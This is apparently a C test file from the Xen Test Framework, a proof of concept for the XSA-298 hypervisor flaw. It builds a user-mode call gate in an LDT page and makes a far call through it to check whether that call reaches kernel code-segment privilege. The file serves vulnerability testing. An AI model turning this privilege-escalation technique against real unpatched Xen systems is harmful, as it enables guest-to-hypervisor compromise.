main.c

Go to the documentation of this file.

 
#include <xtf.h>
 
const char test_title[] = "XSA-298 PoC";
 
#define GATE_SEL (0x1000 | X86_SEL_LDT | 3)
 
unsigned int gate_target(void);
asm ("gate_target:;"
     "mov %cs, %eax;"
     __ASM_SEL(lretl, lretq)
    );
 
static void __user_text user1(void)
{
    env_gate *gate = _p(GATE_SEL & PAGE_MASK);
 
    pack_call_gate(gate, __KERN_CS, _u(&gate_target), 3, 0);
}
 
static unsigned long __user_text user2(void)
{
    /*
     * Don't put on the stack.  Some versions of Clang try to initialise it by
     * copying out of .rodata which is a supervisor mapping.
     */
    static far_ptr __user_data ptr = { .selector = GATE_SEL, };
    const char *vendor_ptr = _p(&ptr);
    unsigned int res = 0;
 
    if ( IS_DEFINED(CONFIG_64BIT) && vendor_is_amd )
        vendor_ptr += 4;
 
    asm volatile ("1:"
#ifdef __x86_64__
                  "rex64 "
#endif
                  "lcall *%[ptr]; 2:"
                  _ASM_EXTABLE_HANDLER(1b, 2b, %P[rec])
                  : "+a" (res)
                  : [rec] "p" (ex_record_fault_eax),
                    [ptr] "m" (*vendor_ptr),
                    /* Pretend to read all of ptr, or it gets optimised away. */
                    "m" (ptr));
 
    return res;
}
 
static int remap_linear(const void *linear, uint64_t flags)
{
    intpte_t nl1e = pte_from_virt(linear, flags);
 
    return hypercall_update_va_mapping(_u(linear), nl1e, UVMF_INVLPG);
}
 
void test_main(void)
{
    env_gate *gate = _p(GATE_SEL & PAGE_MASK);
    unsigned int res;
 
    /*
     * Prepare userspace memory.
     */
    void *volatile /* GCC issue 99578 */ ptr = gate;
    memset(ptr, 0, PAGE_SIZE);
    remap_linear(gate, PF_SYM(AD, U, RW, P));
 
    /*
     * Simulate a piece of userspace making the attack, with an
     * mprotect(PROT_READ) syscall in the middle.
     */
    exec_user_void(user1);
    remap_linear(gate, PF_SYM(AD, U, P));
    res = exec_user(user2);
 
    /*
     * Interpret the result.  Successful use of the call gate should return
     * the running %cs, while a fixed Xen should fail the far call with a #GP
     * fault.
     */
    switch ( res )
    {
    case __KERN_CS:
        return xtf_failure("Fail: vulnerable to XSA-298\n");
 
    case EXINFO_SYM(GP, GATE_SEL & ~X86_SEL_RPL_MASK):
        return xtf_success("Success: Not vulnerable to XSA-298\n");
 
    default:
        return xtf_failure("Fail: Unexpected return value %#x\n", res);
    }
}
 
/*
 * Local variables:
 * mode: C
 * c-file-style: "BSD"
 * c-basic-offset: 4
 * tab-width: 4
 * indent-tabs-mode: nil
 * End:
 */